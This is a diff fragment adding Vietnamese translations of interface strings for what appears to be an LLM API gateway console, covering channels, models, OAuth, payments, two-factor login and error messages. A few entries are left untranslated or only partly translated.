+    "e.g. 8 means 1 USD = 8 units": "Ví dụ: 8 có nghĩa là 1 USD = 8 đơn vị",
+    "e.g. Basic Plan": "ví dụ: Gói cơ bản",
+    "e.g. example.com": "ví dụ example.com",
+    "e.g. llama3.1:8b": "ví dụ: llama3.1:8b",
+    "e.g. My GitLab": "ví dụ: GitLab của tôi",
+    "e.g. my-gitlab": "ví dụ: my-gitlab",
+    "e.g. New API Console": "Ví dụ: Bảng điều khiển API mới",
+    "e.g. openid profile email": "ví dụ: openid profile email",
+    "e.g. Suitable for light usage": "ví dụ: Phù hợp cho sử dụng nhẹ",
+    "e.g., 0.95": "e.g., 0.95",
+    "e.g., 100": "e.g., 100",
+    "e.g., 123456": "e.g., 123456",
+    "e.g., 2025-04-01-preview": "ví dụ: 2025-04-01-preview",
+    "e.g., 50": "e.g., 50",
+    "e.g., 500000": "ví dụ, 500000",
+    "e.g., 7342866812345": "e.g., 7342866812345",
+    "e.g., 8 means 8 local currency per USD": "Ví dụ, 8 có nghĩa là 8 đơn vị tiền tệ địa phương trên mỗi USD",
+    "e.g., Alipay, WeChat": "ví dụ: Alipay, WeChat",
+    "e.g., Basic Package": "ví dụ, Gói cơ bản",
+    "e.g., CN2 GIA": "ví dụ, CN2 GIA",
+    "e.g., Core APIs, OpenAI, Claude": "ví dụ: Core APIs, OpenAI, Claude",
+    "e.g., d6b5da8hk1awo8nap34ube6gh": "ví dụ: d6b5da8hk1awo8nap34ube6gh",
+    "e.g., default, vip, premium": "ví dụ: mặc định, VIP, cao cấp",
+    "e.g., gpt-4, claude-3": "vd: gpt-4, claude-3",
+    "e.g., https://api.example.com (path before /suno)": "ví dụ: https://api.example.com (đường dẫn trước /suno)",
+    "e.g., https://api.openai.com/v1/chat/completions": "ví dụ: https://api.openai.com/v1/chat/completions",
+    "e.g., https://ark.cn-beijing.volces.com": "ví dụ, https://ark.cn-beijing.volces.com",
+    "e.g., https://docs-test-001.openai.azure.com": "ví dụ: https://docs-test-001.openai.azure.com",
+    "e.g., https://fastgpt.run/api/openapi": "ví dụ: https://fastgpt.run/api/openapi",
+    "e.g., OpenAI GPT-4 Production": "ví dụ: OpenAI GPT-4 Sản xuất",
+    "e.g., preview": "ví dụ: xem trước",
+    "e.g., prod_xxx": "ví dụ, prod_xxx",
+    "e.g., Recommended for China Mainland Users": "ví dụ: Khuyến nghị dành cho người dùng Trung Quốc đại lục",
+    "e.g., us-central1 or JSON format for model-specific regions": "chẳng hạn như us-central1 hoặc định dạng JSON cho các khu vực dành riêng cho mô hình",
+    "e.g., v2.1": "e.g., v2.1",
+    "Each backup code can only be used once.": "Mỗi mã dự phòng chỉ có thể được sử dụng một lần.",
+    "Each item must be an object with a single key-value pair.": "Mỗi mục phải là đối tượng với một cặp khóa-giá trị duy nhất.",
+    "Each item must have exactly one key-value pair.": "Mỗi mục phải có chính xác một cặp khóa-giá trị.",
+    "Each line represents one keyword. Leave blank to disable the list but keep the switch states.": "Mỗi dòng đại diện cho một từ khóa. Để trống để tắt danh sách nhưng vẫn giữ trạng thái công tắc.",
+    "Each tier supports 0~2 conditions (over len, p, c); the last tier is the catch-all without conditions. Use len (full input length, including cache hits) for tier conditions to avoid mis-routing when cache hits reduce p.": "Mỗi bậc hỗ trợ 0~2 điều kiện (đối với len, p, c); bậc cuối là bậc dự phòng không cần điều kiện. Hãy dùng len (độ dài đầu vào đầy đủ, bao gồm cả cache hits) cho điều kiện bậc để tránh định tuyến sai khi cache hits làm giảm p.",
+    "Earn rewards when your referrals add funds. Transfer accumulated rewards to your balance anytime.": "Nhận phần thưởng khi người bạn giới thiệu nạp tiền",
+    "Edit": "Chỉnh sửa",
+    "Edit {{title}}": "Chỉnh sửa {{title}}",
+    "Edit all channels with tag:": "Chỉnh sửa tất cả các kênh với thẻ:",
+    "Edit Announcement": "Chỉnh sửa thông báo",
+    "Edit API Shortcut": "Chỉnh sửa lối tắt API",
+    "Edit Channel": "Chỉnh sửa Kênh",
+    "Edit chat preset": "Chỉnh sửa cài đặt trước trò chuyện",
+    "Edit discount tier": "Chỉnh sửa bậc giảm giá",
+    "Edit FAQ": "Chỉnh sửa câu hỏi thường gặp",
+    "Edit group rate limit": "Chỉnh sửa giới hạn tốc độ nhóm",
+    "Edit model": "Chỉnh sửa mô hình",
+    "Edit Model": "Chỉnh sửa Mô hình",
+    "Edit OAuth Provider": "Chỉnh Sửa Nhà Cung Cấp OAuth",
+    "Edit payment method": "Sửa phương thức thanh toán",
+    "Edit Prefill Group": "Chỉnh sửa Nhóm Điền sẵn",
+    "Edit product": "Chỉnh sửa sản phẩm",
+    "Edit ratio override": "Chỉnh sửa ghi đè tỷ lệ",
+    "Edit Rule": "Sửa quy tắc",
+    "Edit selectable group": "Chỉnh sửa nhóm có thể chọn",
+    "Edit Tag": "Chỉnh sửa Thẻ",
+    "Edit Tag:": "Chỉnh sửa thẻ:",
+    "Edit Uptime Kuma Group": "Chỉnh sửa Nhóm Uptime Kuma",
+    "Edit Vendor": "Chỉnh sửa Nhà cung cấp",
+    "edit_this": "edit_this",
+    "Editor mode": "Chế độ trình sửa",
+    "Email": "Email",
+    "Email (required for verification)": "Email (bắt buộc để xác minh)",
+    "Email Address": "Địa chỉ email",
+    "Email Alias Restriction": "Hạn chế Bí danh Email",
+    "Email bound successfully!": "Email đã được liên kết thành công!",
+    "Email Domain Restriction": "Hạn chế Tên miền Email",
+    "Email Domain Whitelist": "Danh sách trắng tên miền email",
+    "Email Field": "Trường Email",
+    "Email Verification": "Xác minh Email",
+    "Embeddings": "Embeddings",
+    "Empty value will be saved as {}.": "Giá trị trống sẽ được lưu thành {}.",
+    "Enable": "Bật",
+    "Enable 2FA": "Bật 2FA",
+    "Enable All": "Bật tất cả",
+    "Enable check-in feature": "Bật tính năng điểm danh",
+    "Enable Data Dashboard": "Kích hoạt Trang tổng quan Dữ liệu",
+    "Enable demo mode with limited functionality": "Bật chế độ demo với chức năng hạn chế",
+    "Enable Discord OAuth": "Bật Discord OAuth",
+    "Enable Disk Cache": "Bật bộ nhớ đệm đĩa",
+    "Enable drawing features": "Bật tính năng vẽ",
+    "Enable filtering": "Bật lọc",
+    "Enable FunctionCall thoughtSignature Fill": "Bật tính năng điền FunctionCall thoughtSignature",
+    "Enable GitHub OAuth": "Kích hoạt GitHub OAuth",
+    "Enable Groups": "Bật Nhóm",
+    "Enable if this is an OpenRouter enterprise account with special response format": "Bật nếu đây là tài khoản doanh nghiệp OpenRouter với định dạng phản hồi đặc biệt",
+    "Enable io.net deployments": "Bật triển khai io.net",
+    "Enable io.net model deployment service in console": "Bật dịch vụ triển khai mô hình io.net trong bảng điều khiển",
+    "Enable LinuxDO OAuth": "Bật LinuxDO OAuth",
+    "Enable OIDC": "Bật OIDC",
+    "Enable or disable this channel": "Bật hoặc tắt kênh này",
+    "Enable or disable this model": "Bật hoặc tắt mô hình này",
+    "Enable or disable top navigation modules globally.": "Bật hoặc tắt các mô-đun điều hướng trên cùng toàn cục.",
+    "Enable Passkey": "Bật khóa truy cập",
+    "Enable Performance Monitoring": "Bật giám sát hiệu suất",
+    "Enable rate limiting": "Bật giới hạn tốc độ",
+    "Enable Request Passthrough": "Bật Truyền qua Yêu cầu",
+    "Enable selected channels": "Kích hoạt các kênh đã chọn",
+    "Enable selected models": "Kích hoạt các mô hình đã chọn",
+    "Enable SSL/TLS": "Bật SSL/TLS",
+    "Enable SSRF Protection": "Kích hoạt Bảo vệ SSRF",
+    "Enable streaming mode for the test request.": "Bật chế độ streaming cho yêu cầu thử nghiệm.",
+    "Enable Telegram OAuth": "Bật Telegram OAuth",
+    "Enable test mode for Creem payments": "Bật chế độ thử nghiệm cho thanh toán Creem",
+    "Enable this key?": "Kích hoạt khóa này?",
+    "Enable Turnstile": "Bật Turnstile",
+    "Enable Two-factor Authentication or Passkey in your profile to unlock sensitive operations.": "Bật Xác thực hai yếu tố hoặc Passkey trong hồ sơ của bạn để mở khóa các thao tác nhạy cảm.",
+    "Enable unlimited quota for this API key": "Kích hoạt hạn mức không giới hạn cho khóa API này",
+    "Enable violation deduction": "Bật trừ tiền vi phạm",
+    "Enable Waffo": "Bật Waffo",
+    "Enable Waffo Pancake": "Bật Waffo Pancake",
+    "Enable WeChat Auth": "Bật xác thực WeChat",
+    "Enable when proxying workers that fetch images over HTTP.": "Kích hoạt khi làm proxy cho các worker tìm nạp hình ảnh qua HTTP.",
+    "Enabled": "Đã bật",
+    "Enabled all channels with tag: {{tag}}": "Đã bật tất cả kênh với nhãn: {{tag}}",
+    "Enabled Status": "Trạng thái kích hoạt",
+    "Enabling...": "Đang bật...",
+    "End": "End",
+    "End Error": "Lỗi kết thúc",
+    "End Reason": "Lý do kết thúc",
+    "End Time": "Thời gian kết thúc",
+    "Endpoint": "Endpoint",
+    "Endpoint config": "Cấu hình điểm cuối",
+    "Endpoint Configuration": "Cấu hình điểm cuối",
+    "Endpoint Type": "Loại điểm cuối",
+    "Endpoint:": "Điểm cuối:",
+    "Endpoints": "Điểm cuối",
+    "English": "Tiếng Anh",
+    "Ensure Prefix": "Đảm bảo tiền tố",
+    "Ensure Suffix": "Đảm bảo hậu tố",
+    "Enter 6-digit code": "Nhập mã 6 chữ số",
+    "Enter a name": "Nhập tên",
+    "Enter a new name": "Nhập tên mới",
+    "Enter a positive or negative amount to adjust the quota": "Nhập một giá trị dương hoặc âm để điều chỉnh hạn ngạch",
+    "Enter a valid email or leave blank": "Nhập email hợp lệ hoặc để trống",
+    "Enter a value and press Enter": "Nhập giá trị và nhấn Enter",
+    "Enter amount in {{currency}}": "Nhập số tiền bằng {{currency}}",
+    "Enter amount in tokens": "Nhập số lượng token",
+    "Enter announcement content (supports Markdown & HTML)": "Nhập nội dung thông báo (hỗ trợ Markdown & HTML)",
+    "Enter announcement content (supports Markdown/HTML)": "Nhập nội dung thông báo (hỗ trợ Markdown/HTML)",
+    "Enter API Key": "Nhập khóa API",
+    "Enter API Key, format: APIKey|Region": "Nhập khóa API, định dạng: APIKey|Region",
+    "Enter API Key, one per line, format: APIKey|Region": "Nhập khóa API, mỗi dòng một khóa, định dạng: APIKey|Region",
+    "Enter application token": "Nhập token ứng dụng",
+    "Enter authenticator code": "Nhập mã xác thực",
+    "Enter backup code (e.g., CAWD-OQDV)": "Nhập mã dự phòng (ví dụ: CAWD-OQDV)",
+    "Enter code": "Nhập mã",
+    "Enter code or backup code": "Nhập mã hoặc mã dự phòng",
+    "Enter Completion price to calculate ratio": "Nhập giá hoàn thành để tính tỷ lệ",
+    "Enter Creem API key": "Nhập khóa API Creem",
+    "Enter custom API endpoint URL": "Nhập URL điểm cuối API tùy chỉnh",
+    "Enter deployment region or JSON mapping:": "Nhập khu vực triển khai hoặc ánh xạ JSON:",
+    "Enter display name": "Nhập tên hiển thị",
+    "Enter HTML code (e.g., <p>About us...</p>) or a URL (e.g., https://example.com) to embed as iframe": "Nhập mã HTML (ví dụ, <p>Về chúng tôi...</p>) hoặc một URL (ví dụ, https://example.com) để nhúng dưới dạng iframe",
+    "Enter Input price to calculate ratio": "Nhập giá đầu vào để tính tỷ lệ",
+    "Enter key, format: AccessKey|SecretAccessKey|Region": "Nhập khóa, định dạng: AccessKey|SecretAccessKey|Region",
+    "Enter key, one per line, format: AccessKey|SecretAccessKey|Region": "Nhập khóa, mỗi dòng một khóa, định dạng: AccessKey|SecretAccessKey|Region",
+    "Enter model name": "Nhập tên mô hình",
+    "Enter new key to update": "Nhập khóa mới để cập nhật",
+    "Enter new key to update, or leave empty to keep current key": "Nhập khóa mới để cập nhật, hoặc để trống để giữ khóa hiện tại",
+    "Enter new tag name (leave empty to disband tag)": "Nhập tên thẻ mới (để trống để hủy thẻ)",
+    "Enter new tag name or leave empty": "Enter new tag name or leave blank",
+    "Enter new token to update": "Nhập mã thông báo mới để cập nhật",
+    "Enter one API key per line for batch creation": "Nhập một khóa API mỗi dòng để tạo hàng loạt",
+    "Enter one key per line for batch creation": "Nhập một khóa mỗi dòng để tạo hàng loạt",
+    "Enter one keyword per line": "Nhập một từ khóa mỗi dòng",
+    "Enter password": "Nhập mật khẩu",
+    "Enter password (8-20 characters)": "Nhập mật khẩu (8-20 ký tự)",
+    "Enter password (min 8 characters)": "Nhập mật khẩu (tối thiểu 8 ký tự)",
+    "Enter quota in {{currency}}": "Nhập hạn mức bằng {{currency}}",
+    "Enter quota in tokens": "Nhập hạn mức bằng token",
+    "Enter secret key": "Nhập khóa bí mật",
+    "Enter system prompt (user prompt takes priority)": "Nhập lời nhắc hệ thống (lời nhắc người dùng được ưu tiên)",
+    "Enter tag name (optional)": "Nhập tên thẻ (tùy chọn)",
+    "Enter the 6-digit code from your authenticator app": "Nhập mã 6 chữ số từ ứng dụng xác thực của bạn",
+    "Enter the 6-digit Time-based One-Time Password or 8-character backup code from your authenticator app.": "Nhập Mật khẩu dùng một lần dựa trên thời gian gồm 6 chữ số hoặc mã dự phòng gồm 8 ký tự từ ứng dụng xác thực của bạn.",
+    "Enter the complete URL, supports": "Nhập địa chỉ URL hoàn chỉnh, hỗ trợ",
+    "Enter the Coze agent ID": "Nhập ID tác nhân Coze",
+    "Enter the full URL of your Gotify server": "Nhập URL đầy đủ của máy chủ Gotify của bạn",
+    "Enter the knowledge base ID": "Nhập ID cơ sở tri thức",
+    "Enter the path before /suno, usually just the domain": "Nhập đường dẫn trước /suno, thường chỉ là tên miền",
+    "Enter the quota amount in {{currency}}": "Nhập số lượng hạn mức bằng {{currency}}",
+    "Enter the quota amount in tokens": "Nhập số lượng hạn ngạch bằng token",
+    "Enter the verification code": "Nhập mã xác minh",
+    "Enter threshold": "Nhập ngưỡng",
+    "Enter token counts to preview the estimated cost (excluding group multipliers).": "Nhập số lượng token để xem ước tính chi phí (không gồm bội số nhóm).",
+    "Enter URL...": "Nhập URL...",
+    "Enter username": "Nhập tên người dùng",
+    "Enter verification code": "Nhập mã xác minh",
+    "Enter webhook secret": "Nhập bí mật webhook",
+    "Enter your authenticator code or a backup code": "Nhập mã xác thực hoặc mã dự phòng của bạn",
+    "Enter your email": "Nhập email của bạn",
+    "Enter your redemption code": "Nhập mã đổi thưởng của bạn",
+    "Enter your registered email and we will send you a link to reset your password.": "Nhập email đã đăng ký của bạn và chúng tôi sẽ gửi cho bạn một liên kết để đặt lại mật khẩu.",
+    "Enter your username": "Nhập tên đăng nhập của bạn",
+    "Enter your username or email": "Nhập tên đăng nhập hoặc email của bạn",
+    "Enterprise Account": "Business account",
+    "Enterprise-grade security with comprehensive permission management": "Bảo mật cấp doanh nghiệp với quản lý quyền toàn diện",
+    "Entrypoint (space separated)": "Entrypoint (cách nhau bằng dấu cách)",
+    "Env (JSON object)": "Env (đối tượng JSON)",
+    "Environment variables": "Biến môi trường",
+    "Environment variables (JSON)": "Biến môi trường (JSON)",
+    "Epay endpoint": "Epay điểm cuối",
+    "Epay Gateway": "Cổng thanh toán Epay",
+    "Epay merchant ID": "ID người bán Epay",
+    "Epay secret key": "Khóa bí mật Epay",
+    "Error": "Lỗi",
+    "Error Message": "Thông báo lỗi",
+    "Estimated cost": "Chi phí ước tính",
+    "Estimated quota cost": "Ước tính chi phí hạn mức",
+    "Exact": "Chính xác",
+    "Exact Match": "Khớp chính xác",
+    "Example": "Ví dụ",
+    "Example (all channels):": "Ví dụ (tất cả kênh):",
+    "Example (specific channels):": "Ví dụ (kênh cụ thể):",
+    "Example:": "Ví dụ:",
+    "example.com&#10;blocked-site.com": "example.com\nblocked-site.com",
+    "example.com&#10;company.com": "example.com\ncompany.com",
+    "Excellent": "Tuyệt vời",
+    "Exchange rate is required": "Cần có tỷ giá",
+    "Exchange rate must be greater than 0": "Tỷ giá phải lớn hơn 0",
+    "Exhausted": "Đã cạn kiệt",
+    "Existing account will be reused": "Tài khoản hiện có sẽ được sử dụng lại",
+    "Existing Models ({{count}})": "Các mô hình hiện có ({{count}})",
+    "Exists": "Tồn tại",
+    "Expected a JSON array.": "Cần là một mảng JSON.",
+    "Experiment with prompts and models in real time.": "Thử nghiệm với prompt và mô hình theo thời gian thực.",
+    "Expiration Time": "Thời gian hết hạn",
+    "expired": "Đã hết hạn",
+    "Expired": "Hết hạn",
+    "Expired at": "Hết hạn lúc",
+    "Expired time cannot be earlier than current time": "Thời gian hết hạn không thể sớm hơn thời gian hiện tại",
+    "Expires": "Hết hạn",
+    "Expose grouped Uptime Kuma status pages directly on the dashboard": "Hiển thị các trang trạng thái Uptime Kuma đã nhóm trực tiếp trên bảng điều khiển",
+    "Expose ratio API": "Cung cấp API tỷ lệ",
+    "Exposes the pricing/models catalog in the top navigation.": "Hiển thị danh mục giá/mô hình trên thanh điều hướng đầu trang.",
+    "Expression billing": "Tính phí biểu thức",
+    "Expression editor": "Trình sửa biểu thức",
+    "Expression error": "Lỗi biểu thức",
+    "Extend": "Gia hạn",
+    "Extend deployment": "Gia hạn triển khai",
+    "Extend failed": "Gia hạn thất bại",
+    "Extended successfully": "Gia hạn thành công",
+    "External Device": "Thiết bị ngoại vi",
+    "External link for users to purchase quota": "Liên kết ngoài để người dùng mua hạn mức",
+    "External operations": "Vận hành bên ngoài",
+    "External operations mode": "Chế độ vận hành bên ngoài",
+    "External Speed Test": "Kiểm tra tốc độ bên ngoài",
+    "Extra": "Thêm",
+    "Extra Notes (Optional)": "Ghi chú bổ sung (Tùy chọn)",
+    "Fail Reason": "Lý do thất bại",
+    "Fail Reason Details": "Chi tiết lý do thất bại",
+    "Failed": "Thất bại",
+    "Failed to {{action}} user": "Không thể {{action}} người dùng",
+    "Failed to adjust quota": "Không thể điều chỉnh hạn mức",
+    "Failed to apply overwrite.": "Không thể áp dụng ghi đè.",
+    "Failed to bind email": "Không thể liên kết email",
+    "Failed to change password": "Không thể thay đổi mật khẩu",
+    "Failed to check for updates": "Không thể kiểm tra cập nhật",
+    "Failed to clean logs": "Không thể dọn sạch nhật ký",
+    "Failed to complete order": "Không thể hoàn thành đơn hàng",
+    "Failed to complete Passkey login": "Không thể hoàn tất đăng nhập Passkey",
+    "Failed to contact GitHub releases API": "Không thể kết nối API GitHub Releases",
+    "Failed to copy": "Sao chép thất bại",
+    "Failed to copy channel": "Không thể sao chép kênh",
+    "Failed to copy keys": "Không thể sao chép khóa",
+    "Failed to copy model names": "Không thể sao chép tên mô hình",
+    "Failed to copy to clipboard": "Không thể sao chép vào bộ nhớ tạm",
+    "Failed to create API key": "Tạo API key thất bại",
+    "Failed to create channel": "Không thể tạo kênh",
+    "Failed to create deployment": "Tạo triển khai thất bại",
+    "Failed to create provider": "Tạo nhà cung cấp thất bại",
+    "Failed to create redemption code": "Không thể tạo mã đổi thưởng",
+    "Failed to create user": "Tạo người dùng thất bại",
+    "Failed to delete {{count}} model(s)": "Không thể xóa {{count}} mô hình",
+    "Failed to delete account": "Không thể xóa tài khoản",
+    "Failed to delete API key": "Xóa API key thất bại",
+    "Failed to delete API keys": "Không thể xóa khóa API",
+    "Failed to delete channel": "Không thể xóa kênh",
+    "Failed to delete disabled channels": "Không thể xóa các kênh đã vô hiệu hóa",
+    "Failed to delete invalid redemption codes": "Không thể xóa các mã đổi thưởng không hợp lệ",
+    "Failed to delete model": "Không thể xóa mô hình",
+    "Failed to delete provider": "Xóa nhà cung cấp thất bại",
+    "Failed to delete redemption code": "Xóa mã đổi quà không thành công",
+    "Failed to delete user": "Không thể xóa người dùng",
+    "Failed to delete vendor": "Không thể xóa nhà cung cấp",
+    "Failed to disable {{count}} model(s)": "Không thể tắt {{count}} mô hình",
+    "Failed to disable 2FA": "Không thể vô hiệu hóa 2FA",
+    "Failed to disable channels": "Không thể vô hiệu hóa các kênh",
+    "Failed to disable model": "Không thể vô hiệu hóa mô hình",
+    "Failed to disable tag channels": "Không thể vô hiệu hóa các kênh thẻ",
+    "Failed to discover OIDC endpoints": "Khám phá điểm cuối OIDC thất bại",
+    "Failed to enable {{count}} model(s)": "Không thể bật {{count}} mô hình",
+    "Failed to enable 2FA": "Không thể bật 2FA",
+    "Failed to enable channels": "Không thể kích hoạt các kênh",
+    "Failed to enable model": "Không thể kích hoạt mô hình",
+    "Failed to enable tag channels": "Không thể kích hoạt kênh thẻ",
+    "Failed to fetch checkin status": "Không thể tải trạng thái điểm danh",
+    "Failed to fetch deployment details": "Không thể lấy chi tiết triển khai",
+    "Failed to fetch models": "Không thể lấy các mô hình",
+    "Failed to fetch OIDC configuration. Please check the URL and network status": "Không thể lấy cấu hình OIDC. Vui lòng kiểm tra URL và trạng thái mạng",
+    "Failed to fetch upstream prices": "Không thể lấy giá từ upstream",
+    "Failed to fetch upstream ratios": "Không thể lấy tỷ lệ upstream",
+    "Failed to fetch usage": "Không lấy được mức sử dụng",
+    "Failed to fetch user information": "Không lấy được thông tin người dùng",
+    "Failed to fix abilities": "Không thể khắc phục các khả năng",
+    "Failed to generate token": "Không thể tạo token",
+    "Failed to initialize OAuth": "Không thể khởi tạo OAuth",
+    "Failed to initialize system": "Không thể khởi tạo hệ thống",
+    "Failed to load": "Tải thất bại",
+    "Failed to load API keys": "Không thể tải khóa API",
+    "Failed to load billing history": "Không thể tải lịch sử thanh toán",
+    "Failed to load home page content": "Không thể tải nội dung trang chủ",
+    "Failed to load image": "Không thể tải ảnh",
+    "Failed to load logs": "Không tải được nhật ký",
+    "Failed to load Passkey status": "Không thể tải trạng thái Passkey",
+    "Failed to load profile": "Không thể tải hồ sơ",
+    "Failed to load redemption codes": "Không thể tải mã đổi thưởng",
+    "Failed to load setup data": "Không thể tải dữ liệu thiết lập",
+    "Failed to load setup status": "Không thể tải trạng thái thiết lập",
+    "Failed to load tag data": "Không thể tải dữ liệu thẻ",
+    "Failed to load users": "Không thể tải người dùng",
+    "Failed to parse group items": "Thất bại khi phân tích các mục nhóm",
+    "Failed to parse JSON file: {{name}}": "Không thể phân tích cú pháp tệp JSON: {{name}}",
+    "Failed to query balance": "Không thể truy vấn số dư",
+    "Failed to refresh cache stats": "Không thể làm mới thống kê bộ nhớ đệm",
+    "Failed to regenerate backup codes": "Không thể tạo lại mã sao lưu",
+    "Failed to register Passkey": "Không thể đăng ký Passkey",
+    "Failed to remove Passkey": "Không thể xóa Passkey",
+    "Failed to reset 2FA": "Không thể đặt lại 2FA",
+    "Failed to reset model ratios": "Không thể đặt lại tỷ lệ mô hình",
+    "Failed to reset Passkey": "Không thể đặt lại Passkey",
+    "Failed to save": "Lưu thất bại",
+    "Failed to save announcements": "Không thể lưu thông báo",
+    "Failed to save API info": "Không thể lưu thông tin API",
+    "Failed to save FAQ": "Không thể lưu FAQ",
+    "Failed to save Uptime Kuma groups": "Không thể lưu nhóm Uptime Kuma",
+    "Failed to search API keys": "Không thể tìm kiếm khóa API",
+    "Failed to search redemption codes": "Không thể tìm kiếm mã đổi thưởng",
+    "Failed to search users": "Không thể tìm kiếm người dùng",
+    "Failed to send verification code": "Không thể gửi mã xác minh",
+    "Failed to set tag": "Không thể đặt thẻ",
+    "Failed to setup 2FA": "Không thể thiết lập 2FA",
+    "Failed to start {{provider}} login": "Không thể bắt đầu đăng nhập {{provider}}",
+    "Failed to start Discord login": "Không thể bắt đầu đăng nhập Discord",
+    "Failed to start GitHub login": "Không thể bắt đầu đăng nhập GitHub",
+    "Failed to start LinuxDO login": "Không thể bắt đầu đăng nhập LinuxDO",
+    "Failed to start OIDC login": "Không thể bắt đầu đăng nhập OIDC",
+    "Failed to start Passkey login": "Không thể bắt đầu đăng nhập Passkey",
+    "Failed to start Passkey registration": "Không thể bắt đầu đăng ký Passkey",
+    "Failed to start testing all channels": "Không thể bắt đầu kiểm tra tất cả các kênh",
+    "Failed to sync prices": "Không thể đồng bộ giá",
+    "Failed to sync ratios": "Không thể đồng bộ tỷ lệ",
+    "Failed to test all channels": "Không thể kiểm tra tất cả các kênh",
+    "Failed to test channel": "Không thể kiểm tra kênh",
+    "Failed to update all balances": "Không thể cập nhật tất cả số dư",
+    "Failed to update API key": "Không thể cập nhật khóa API",
+    "Failed to update API key status": "Không thể cập nhật trạng thái khóa API",
+    "Failed to update balance": "Không thể cập nhật số dư",
+    "Failed to update channel": "Cập nhật kênh không thành công",
+    "Failed to update models": "Không thể cập nhật mô hình",
+    "Failed to update profile": "Không thể cập nhật hồ sơ",
+    "Failed to update provider": "Cập nhật nhà cung cấp thất bại",
+    "Failed to update redemption code": "Không thể cập nhật mã đổi thưởng",
+    "Failed to update redemption code status": "Không thể cập nhật trạng thái mã đổi thưởng",
+    "Failed to update setting": "Không thể cập nhật cài đặt",
+    "Failed to update settings": "Không thể cập nhật cài đặt",
+    "Failed to update tag": "Không thể cập nhật thẻ",
+    "Failed to update user": "Không thể cập nhật người dùng",
+    "Failure keywords": "Từ khóa thất bại",
+    "Fair": "Công bằng",
+    "FAQ": "FAQ",
+    "FAQ added. Click \"Save Settings\" to apply.": "Đã thêm FAQ. Nhấp \"Lưu cài đặt\" để áp dụng.",
+    "FAQ deleted. Click \"Save Settings\" to apply.": "Đã xóa FAQ. Nhấp \"Lưu cài đặt\" để áp dụng.",
+    "FAQ saved successfully": "FAQ đã lưu thành công",
+    "FAQ updated. Click \"Save Settings\" to apply.": "FAQ đã cập nhật. Nhấp \"Lưu cài đặt\" để áp dụng.",
+    "FastGPT": "FastGPT",
+    "Feature in development": "Tính năng đang phát triển",
+    "Fee": "Phí",
+    "Fee Amount": "Số tiền phí",
+    "Fetch available models for:": "Tìm nạp các mô hình khả dụng cho:",
+    "Fetch from Upstream": "Lấy từ nguồn",
+    "Fetch Models": "Tìm nạp Mô hình",
+    "Fetched {{count}} model(s) from upstream": "Đã lấy {{count}} mô hình từ upstream",
+    "Fetched {{count}} models": "Đã lấy {{count}} mô hình",
+    "Fetching prefill groups...": "Đang tải nhóm điền sẵn...",
+    "Fetching upstream prices...": "Đang lấy giá upstream...",
+    "Fetching upstream ratios...": "Đang lấy tỷ lệ thượng nguồn...",
+    "field": "trường",
+    "Field Mapping": "Ánh Xạ Trường",
+    "Field passthrough controls": "Điều khiển chuyển tiếp trường",
+    "File Search": "Tìm kiếm tệp",
+    "Files to Retain": "Số tệp giữ lại",
+    "Fill All Models": "Điền Tất Cả Mô Hình",
+    "Fill Codex CLI / Claude CLI Templates": "Điền mẫu Codex CLI / Claude CLI",
+    "Fill example (all channels)": "Điền ví dụ (tất cả kênh)",
+    "Fill example (specific channels)": "Điền ví dụ (kênh cụ thể)",
+    "Fill in the following info to create a new subscription plan": "Điền thông tin sau để tạo gói đăng ký mới",
+    "Fill Related Models": "Điền Mô hình Liên quan",
+    "Fill Template": "Điền Mẫu",
+    "Fill Templates": "Điền mẫu",
+    "Fill thoughtSignature only for Gemini/Vertex channels using the OpenAI format": "Điền thoughtSignature chỉ dành cho các kênh Gemini/Vertex sử dụng định dạng OpenAI",
+    "Filled {{count}} model(s)": "Đã điền {{count}} mô hình",
+    "Filled {{count}} related model(s)": "Đã điền {{count}} mô hình liên quan",
+    "Filter": "Lọc",
+    "Filter by channel ID": "Lọc theo ID kênh",
+    "Filter by group": "Lọc theo nhóm",
+    "Filter by Midjourney task ID": "Lọc theo ID nhiệm vụ Midjourney",
+    "Filter by model name...": "Lọc theo tên mô hình...",
+    "Filter by model...": "Lọc theo mẫu...",
+    "Filter by name or ID...": "Lọc theo tên hoặc ID...",
+    "Filter by name or key...": "Lọc theo tên hoặc khóa...",
+    "Filter by name, ID, or key...": "Lọc theo tên, ID hoặc khóa...",
+    "Filter by price field": "Lọc theo trường giá",
+    "Filter by ratio type": "Lọc theo loại tỷ lệ",
+    "Filter by request ID": "Lọc theo ID yêu cầu",
+    "Filter by task ID": "Lọc theo ID nhiệm vụ",
+    "Filter by token name": "Lọc theo tên token",
+    "Filter by username": "Lọc theo tên người dùng",
+    "Filter by username, name or email...": "Lọc theo tên người dùng, tên hoặc email...",
+    "Filter Dashboard Models": "Lọc Mô hình Bảng điều khiển",
+    "Filter models by type, endpoint, vendor, group and tags": "Lọc mô hình theo loại, endpoint, nhà cung cấp, nhóm và thẻ",
+    "Filter models...": "Lọc mô hình...",
+    "Filter...": "Lọc...",
+    "Filters": "Bộ lọc",
+    "Final Consumed": "Tiêu thụ cuối cùng",
+    "Final cost = base × multiplier when conditions match": "Chi phí cuối = cơ sở × hệ số khi thỏa điều kiện",
+    "Final price multiplier (0.95 = 5% discount": "Hệ số nhân giá cuối cùng (0.95 = giảm giá 5%)",
+    "Fine-tune Midjourney integration and guardrails.": "Tinh chỉnh tích hợp Midjourney và các cơ chế bảo vệ.",
+    "Finish Time": "Thời gian hoàn thành",
+    "First/Last Frame to Video": "Khung đầu/cuối sang video",
+    "Fix Abilities": "Sửa Kỹ năng",
+    "Fixed abilities: {{success}} succeeded, {{fails}} failed": "Sửa khả năng: {{success}} thành công, {{fails}} thất bại",
+    "Fixed price": "Giá cố định",
+    "Fixed price (USD)": "Giá cố định (USD)",
+    "FluentRead extension not detected. Please ensure it is installed and active.": "Không phát hiện tiện ích mở rộng FluentRead. Vui lòng đảm bảo nó đã được cài đặt và kích hoạt.",
+    "Follow the guided steps to prepare your workspace before the first login.": "Thực hiện theo các bước hướng dẫn để chuẩn bị không gian làm việc của bạn trước lần đăng nhập đầu tiên.",
+    "Footer": "Chân trang",
+    "Footer text displayed at the bottom of pages": "Văn bản chân trang hiển thị ở cuối các trang",
+    "footer.columns.about.links.aboutProject": "Về Dự án",
+    "footer.columns.about.links.contact": "Liên hệ Chúng tôi",
+    "footer.columns.about.links.features": "Tính năng",
+    "footer.columns.about.title": "Về Chúng tôi",
+    "footer.columns.docs.links.apiDocs": "Tài liệu API",
+    "footer.columns.docs.links.installation": "Hướng Dẫn Cài Đặt",
+    "footer.columns.docs.links.quickStart": "Bắt Đầu Nhanh",
+    "footer.columns.docs.title": "Tài Liệu",
